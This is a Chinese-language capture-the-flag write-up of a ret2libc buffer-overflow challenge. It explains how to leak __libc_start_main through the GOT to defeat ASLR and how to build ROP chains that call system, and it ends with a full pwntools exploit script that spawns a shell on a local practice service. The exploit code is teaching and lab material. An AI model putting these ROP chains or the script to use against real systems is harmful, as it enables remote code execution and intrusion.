攻擊思路
一樣先找 pop rdi 的 ROP gadget 。
ROPgadget --binary ./ret2libc | grep ": pop.\{7\}ret$"

plt 中只有 gets 、 puts 和 setvbuf 可直接呼叫,不包含開 shell 需要的 system ,所以要從 libc 找。
objdump -d ./ret2libc | grep "@plt>:"

接下來目標是找出 libc 動態載入的基址,由於加了 ASLR 防護,所以每次載入的 libc 基址都不一樣,但是可以想辦法在執行階段從 GOT 找出已經被解析過的 libc 函數並洩漏。目標設定為 __libc_start_main ,由於呼叫 main 前會先呼叫該函數,所以此函數一定已經被解析過。
objdump -R ./ret2libc | grep "__libc_start_main"

和前兩題一樣的緩衝區溢位漏洞,構建第一個 ROP 鏈,想辦法洩漏存在 GOT 中的 __libc_start_main 函數動態載入位址,最後加上一個 main 位址可再獲得一個緩衝區溢位。
p = flat(
'a' * 0x38,
pop_rdi,
__libc_start_main,
puts_plt,
main
)

這邊偷懶,直接從容器中將 libc 動態函式庫複製出來算 offset,就不自己編譯了。
sudo docker cp f000f57fd13b:/lib/x86_64-linux-gnu/libc-2.27.so .

libc 的基址就是 __libc_start_main 函數動態載入位址減去該版本 __libc_start_main 函數的 offset 。
libc_base = u64( conn.recv(6) + b'\0\0') - l.sym['__libc_start_main']
而 system 函數的動態載入位址就在 libc 的基址加上 system 函數的 offset 。
system_func = libc_base + l.sym['system']
另外一種寫法。
l.address = libc_base
system_func = l.sym['system']
找出 system 函數的動態載入位址後,第二個 ROP 鏈做法和 ret2plt 一樣。
p2 = flat(
'a' * 0x38,
pop_rdi,
bss,
gets_plt,
pop_rdi,
bss,
l.sym['system']
)
攻擊程式碼
from pwn import *
import os
context.arch = 'amd64'
puts_plt = 0x400520
gets_plt = 0x400530
pop_rdi = 0x400733
bss = 0x00601030
__libc_start_main = 0x600ff0
main = 0x400698
ret = 0x400506
l = ELF(os.path.join(os.curdir, "libc-2.27.so"))
p1 = flat(
'a' * 0x38,
pop_rdi,
__libc_start_main,
puts_plt,
main
)
conn = remote("127.0.0.1", 10175)
conn.sendlineafter(":D", p1)
conn.recvline()
libc_base = u64( conn.recv(6) + b'\0\0') - l.sym['__libc_start_main']
l.address = libc_base
success( f"libc -> {hex(libc_base)}" )
p2 = flat(
'a' * 0x38,
pop_rdi,
bss,
gets_plt,
pop_rdi,
bss,
l.sym['system']
)
conn.sendlineafter(":D", p2)
conn.sendline("sh")
conn.interactive()